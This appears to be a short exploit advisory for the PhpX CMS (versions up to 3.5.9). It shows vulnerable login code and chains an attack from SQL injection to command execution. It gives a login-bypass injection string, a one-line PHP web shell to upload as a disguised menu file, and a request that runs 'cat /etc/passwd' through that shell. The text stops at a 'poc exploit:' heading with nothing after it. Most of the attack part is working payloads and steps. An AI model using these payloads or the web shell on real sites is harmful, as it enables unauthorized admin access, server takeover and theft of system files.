PhpX <= 3.5.9 SQL Injection -> login bypass -> remote command/code execution



PhpX <= 3.5.9 SQL Injection -> login bypass -> remote command/code execution

software:
site: http://www.phpx.org/
description: "PHPX is a constantly evolving and changing Content Management
              System (CMS)[..]"



vulnerable code in auth.inc.php at lines 22-26:

...
if (!isset($_POST[username])){ header("Location: login.php"); }
    $password = md5($_POST['password']);
    $username = strtolower($_POST['username']);
    $result = $core->db->query("select user_id from users where password = 
'$password' and lower(username) = '$username'");
    $count = $core->db->num_rows($result);
...

"username" argument is not properly sanitized before to be used in a query, so
if magic_quotes_gpc is off you can bypass admin login check, poc:

go to http://[target]/[path]/admin/ and submit

username: 'or user_id=2/*
password: [nothing]

now you are admin, you can upload a cmd.php.menu file with this code inside:

<?php system($_GET[cmd]); ?>

file is renamed (like this: 11333717941--cmd.php.menu) but you can retrieve
filename in uploaded file list panel, upload dir have usually CHMOD 777
as "recommended" by install script (mphhh...) and usually not .htaccess 
protected,
so you can launch commands:

http://[target]/[path]/files/11333717941--cmd.php.menu?cmd=cat%20/etc/passwd


poc exploit:
